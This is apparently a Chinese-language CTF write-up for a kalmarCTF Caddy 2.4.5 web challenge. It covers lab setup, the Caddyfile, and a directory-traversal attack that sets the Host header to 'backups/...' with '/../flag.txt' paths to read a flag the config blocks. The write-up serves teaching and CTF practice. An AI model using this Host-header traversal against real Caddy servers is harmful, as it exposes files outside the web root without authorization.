kalmarCTF(WEB|EZ)WP

简介: kalmarCTF(WEB|EZ)WP

前提知识

  • file_server

一个静态文件服务器,支持真实和虚拟文件系统。它通过将请求的URI路径附加到站点的根路径来形成文件路径。

默认情况下,它执行规范的URI;这意味着HTTP重定向将被用于对不以尾部斜线结尾的目录的请求(添加它)或对有尾部斜线的文件的请求(删除它)。然而,如果内部重写修改了路径的最后一个元素(文件名),则不会发出重定向。

最常见的是,file_server指令与root指令配对,为整个网站设置文件根。一个站点的根并不带有沙盒保证:文件服务器确实可以防止目录遍历,但是根中的符号链接仍然可以允许根之外的访问。

  • root设置网站根目录。它类似于root指令,只是它只适用于这个文件服务器实例,并优先于任何可能已经定义的其他站点根目录。默认:{http.vars.root}或当前工作目录。注意:这个子指令只改变这个指令的根。其他指令(如try_files或templates)要指定根目录,请使用root指令而不是这个子指令。

靶场搭建

提前在docker把caddy:2.4.5-alpine给pull下来了

这里出现了一个问题,解决方案如下

卷已声明为外部卷,但找不到

1. external volume "caddy_data" not found
2. 
3. docker volume create caddy_data
4. 
5. docker compose up -d

成功创建镜像

漏洞复现

这里需要修改本地的hosts文件

1. /C=DK/O=Kalmarunionen/CN=*.caddy.chal-kalmarc.tf
2. 192.168.10.143      www.caddy.chal-kalmarc.tf

我们先看docker-compose文件

1. mkdir -p backups/ &&
2. cp -r *.caddy.chal-kalmarc.tf backups/ &&
3. rm php.caddy.chal-kalmarc.tf/flag.txt

在backups目录下将部分文件备份了一次,并且删除了flag.txt,此时我们可以到backups下面的php.caddy.chal-kalmarc.tf文件夹中获取flag.txt,运行目录在www.caddy.chal-kalmarc.tf,需要我们进行目录穿梭

我们再来看Caddyfile

1. *.caddy.chal-kalmarc.tf {
2.     encode zstd gzip
3.     log {
4. output stderr
5.         level DEBUG
6.     }
7. 
8.     # block accidental exposure of flags:
9.     respond /flag.txt 403
10. 
11.     tls /etc/ssl/certs/caddy.pem /etc/ssl/private/caddy.key {
12. on_demand
13.     }
14. 
15. file_server {
16.         root /srv/{host}/
17.     }
18. }

file_server: 这个配置启用了Caddy的文件服务器功能,它允许Caddy提供网站的静态文件。root指定了网站文件的根目录。{host}表示Caddy将使用来访问网站的主机名作为子目录名称,这使得Caddy可以为每个网站提供单独的文件根目录。

这里我们尝试跨目录获取flag

首先我们发现在php.caddy.chal-kalmarc.tf的index.php内容如下

GET //index.php HTTP/2

Host: backups/php.caddy.chal-kalmarc.tf

1. <?php
2. echo "I can't get this to work :/";
3. echo system("cat flag.txt");
4. ?>

我们直接目录穿梭获取该目录下的flag.txt

/../flag.txt

   

也可以翻翻后续的补丁查找当前版本的漏洞

https://github.com/caddyserver/caddy/releases/tag/v2.4.6

  • Path matchers unescape/clean URI paths to normalize match space
  • Fix regex matching in map handler

//flag.txt

目录
相关文章
|
3月前
|
PHP 数据安全/隐私保护
*CTF 2023 web jwt2struts 题解wp
*CTF 2023 web jwt2struts 题解wp
24 4
|
3月前
|
SQL 前端开发 JavaScript
LitCTF 2023 web wp
LitCTF 2023 web wp
17 0
|
前端开发 安全 应用服务中间件
CTFShow-WEB入门篇文件上传详细Wp(151-170)
CTFShow-WEB入门篇文件上传详细Wp(151-170)
584 0
|
Shell PHP 数据安全/隐私保护
CTFShow-WEB入门篇命令执行详细Wp(29-40)
CTFShow-WEB入门篇命令执行详细Wp(29-40)
208 0
|
SQL JavaScript 开发工具
CTFShow-WEB入门篇--信息搜集详细Wp
CTFShow-WEB入门篇--信息搜集详细Wp
181 0
|
27天前
|
XML JSON API
ServiceStack:不仅仅是一个高性能Web API和微服务框架,更是一站式解决方案——深入解析其多协议支持及简便开发流程,带您体验前所未有的.NET开发效率革命
【10月更文挑战第9天】ServiceStack 是一个高性能的 Web API 和微服务框架,支持 JSON、XML、CSV 等多种数据格式。它简化了 .NET 应用的开发流程,提供了直观的 RESTful 服务构建方式。ServiceStack 支持高并发请求和复杂业务逻辑,安装简单,通过 NuGet 包管理器即可快速集成。示例代码展示了如何创建一个返回当前日期的简单服务,包括定义请求和响应 DTO、实现服务逻辑、配置路由和宿主。ServiceStack 还支持 WebSocket、SignalR 等实时通信协议,具备自动验证、自动过滤器等丰富功能,适合快速搭建高性能、可扩展的服务端应用。
87 3
|
9天前
|
设计模式 前端开发 数据库
Python Web开发:Django框架下的全栈开发实战
【10月更文挑战第27天】本文介绍了Django框架在Python Web开发中的应用,涵盖了Django与Flask等框架的比较、项目结构、模型、视图、模板和URL配置等内容,并展示了实际代码示例,帮助读者快速掌握Django全栈开发的核心技术。
87 44
|
5天前
|
前端开发 API 开发者
Python Web开发者必看!AJAX、Fetch API实战技巧,让前后端交互如丝般顺滑!
在Web开发中,前后端的高效交互是提升用户体验的关键。本文通过一个基于Flask框架的博客系统实战案例,详细介绍了如何使用AJAX和Fetch API实现不刷新页面查看评论的功能。从后端路由设置到前端请求处理,全面展示了这两种技术的应用技巧,帮助Python Web开发者提升项目质量和开发效率。
17 1
下一篇
无影云桌面